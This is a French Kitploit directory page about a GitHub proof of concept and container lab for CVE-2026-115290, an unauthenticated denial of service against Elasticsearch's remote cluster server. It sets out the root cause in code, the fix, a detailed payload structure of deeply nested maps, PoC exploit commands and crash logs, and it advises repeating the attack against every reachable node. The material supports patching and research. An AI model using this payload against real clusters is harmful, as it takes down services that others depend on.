Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-115290 — PoC et labo A/B conteneurisé pour CVE-2026-115290, un DoS non authentifié du serveur de cluster distant Elasticsearch via une récursion de désérialisation non bornée (CWE-674). | Kitploit
Outils/GitHubGitHub/googlesky/cve-2026-115290
Analyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheLabs et Pratique
GitHubgooglesky/cve-2026-115290

CVE-2026-115290

PoC et labo A/B conteneurisé pour CVE-2026-115290, un DoS non authentifié du serveur de cluster distant Elasticsearch via une récursion de désérialisation non bornée (CWE-674).

Voir le dépôt
il y a 11h 21mPas encore vérifié
Partager

CVE-2026-115290 : DoS non authentifié d'Elasticsearch via l'interface du serveur de cluster distant

Cause racine : Récursion non contrôlée (CWE-674). Le nœud désérialise les octets fournis par l'attaquant avant de vérifier la clé API : une seule requête TCP non authentifiée vers le port du serveur de cluster distant suffit à faire exploser la pile d'un worker avec une StackOverflowError et à faire tomber le nœud. À répéter contre chaque nœud joignable.

CVECVE-2026-115290
AvisElastic ESA-2026-201 (2026-11-03)
GravitéCVSS 3.1 7.5 Élevée, vecteur AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
AffectéElasticsearch 8.10.0 à 8.19.23, 9.0.0 à 9.4.8, 9.5.0 à 9.5.5, avec remote_cluster_server.enabled: true
Corrigé8.19.24 / 9.4.9 / 9.5.6
Commit de correction0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492)
PrérequisLicence Enterprise / d'essai (fonctionnalité advanced-remote-cluster-security), interface activée

1. Cause racine

CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) décodait l'en-tête subject-info contrôlé par l'expéditeur le plus tôt possible afin que les événements d'audit puissent inclure l'id de la clé API :

// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
    final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
    parseCredentialsHeader(credentialsHeader).close();                       // (1) format-check only
    return new CrossClusterAccessHeaders(credentialsHeader,
        CrossClusterAccessSubjectInfo.readFromContext(ctx));                // (2) DECODES attacker bytes, pre-auth
}

Le décodage est une pure désérialisation sans limite de profondeur :

public static CrossClusterAccessSubjectInfo decode(final String header) {
    byte[] bytes = Base64.getDecoder().decode(header);
    StreamInput in = StreamInput.wrap(bytes);
    TransportVersion version = TransportVersion.readVersion(in);   // attacker-chosen
    in.setTransportVersion(version);
    Authentication authentication = new Authentication(in);        // -> readMetadata -> readGenericValue
    ...
}

StreamInput.readGenericValue() effectue une récursion sans aucune limite de profondeur sur les maps imbriquées (tag de type 10). Environ 200k maps imbriquées à entrée unique suffisent à faire exploser la pile du thread de transport à l'intérieur de decode().

Corrigé (8.19.24) : les informations du sujet restent encodées jusqu'à ce que la clé API soit authentifiée, de sorte que les requêtes non authentifiées n'atteignent jamais le désérialiseur :

// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();

2. Chemin d'attaque

attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
  ES transport frame: action "indices:data/read/search" (any registered action)
  ThreadContext headers:
    _cross_cluster_access_credentials  = "ApiKey <base64(id:key)>"   (format-valid, key unknown)
    _cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
        { "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])

InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
  -> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
  ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)

Points qui facilitent l'attaque :

  • la poignée de main n'est pas requise, la compatibilité de version est une vérification statique (TransportVersion.isCompatible) ;
  • les octets subject-info portent leur propre TransportVersion (lu avec readVInt), de sorte que les branches de désérialisation peuvent être orientées indépendamment de la version de l'en-tête du message ;
  • l'en-tête des identifiants doit seulement être analysé (ApiKey <base64(id:key)>), la clé elle-même n'a jamais besoin de s'authentifier car le crash se produit avant ;
  • balises de type readGenericValue : 0 chaîne, 10 map (récursive), 0xFF null ; les chaînes sont vInt charCount + utf8 ; les entiers sont des vInts LEB128 à 7 bits.

3. Organisation du dépôt

poc/poc.py                 PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh             podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/                  captured logs + PoC transcripts (not published)

4. Reproduire (100 % conteneurisé, podman)

podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
            docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh            # both containers capped at --cpus 2 --memory 4g

# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check   --host 127.0.0.1 --port 9443

# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
#   connection drops, node exits with "fatal error in thread [...], exiting", halt(126)

# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444

./lab/stop-lab.sh

Déploiements TLS : ajoutez --tls à n'importe quel mode.

Reproduction au niveau unitaire (facultatif) : la charge utile seule peut être fournie au décodeur réel :

CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError   # verified against 8.19.23 jars

5. Preuves (capturées dans evidence/, reproduites dans ce lab)

Nœud vulnérable (8.19.23, es-vuln). Une requête exploit, non authentifiée :

[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced

podman ps -a:  es-vuln  Exited (126)          # Runtime.halt(126) == uncaught StackOverflowError

elasticsearch.log (voir evidence/es-vuln-fatal.log) :

ERROR "fatal error java.lang.StackOverflowError"  ... Netty4MessageInboundHandler.exceptionCaught ->
      ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
  at StreamInput.readGenericValue(StreamInput.java:859)
  at StreamInput.readMap(StreamInput.java:751)
  at StreamInput.readMap(StreamInput.java:736)
  at StreamInput.readGenericValue(StreamInput.java:872)   <- recursion loop, ~4 frames / nesting level
  ...

Nœud fixe (8.19.24, es-fixed), charge utile identique :

[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
      at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3   <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a:  es-fixed  Up (serving)

Pièges de PoC intégrés à l'outillage

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    353
  • 4

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    288

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →